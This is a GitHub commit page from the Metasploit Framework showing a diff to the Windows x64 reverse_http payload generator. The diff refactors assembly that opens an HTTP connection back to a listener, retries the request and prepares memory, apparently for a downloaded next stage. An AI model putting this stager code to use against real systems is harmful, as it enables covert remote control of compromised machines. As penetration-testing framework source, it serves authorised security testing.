Skip to content

Commit fd25349

Browse files
committed
Small tweaks to reverse_http
1 parent a93565b commit fd25349

File tree

1 file changed

+20
-14
lines changed

1 file changed

+20
-14
lines changed

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 20 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -295,9 +295,8 @@ def asm_reverse_http(opts={})
295295
end
296296

297297
asm << %Q^
298-
299-
jmp get_server_uri
300-
298+
call httpopenrequest
299+
db "#{opts[:url]}",0x0
301300
httpopenrequest:
302301
mov rcx, rax ; hConnect
303302
push rbx
@@ -314,12 +313,17 @@ def asm_reverse_http(opts={})
314313
315314
prepare:
316315
mov rsi, rax
317-
push #{retry_count}
318-
pop rdi
319-
320-
retryrequest:
321316
^
322317

318+
if retry_count > 1
319+
asm << %Q^
320+
push #{retry_count}
321+
pop rdi
322+
323+
retryrequest:
324+
^
325+
end
326+
323327
if opts[:ssl]
324328
asm << %Q^
325329
internetsetoption:
@@ -349,18 +353,20 @@ def asm_reverse_http(opts={})
349353
call rbp
350354
test eax, eax
351355
jnz allocate_memory
356+
^
352357

358+
if retry_count > 1
359+
asm << %Q^
353360
try_it_again:
354361
dec rdi
355362
jz failure
356363
jmp retryrequest
357-
358-
get_server_uri:
359-
call httpopenrequest
360-
361-
server_uri:
362-
db "#{opts[:url]}",0x0
363-
^
364+
^
365+
else
366+
asm << %Q^
367+
jmp failure
368+
^
369+
end
364370

365371
if opts[:exitfunk]
366372
asm << %Q^

0 commit comments

Comments
 (0)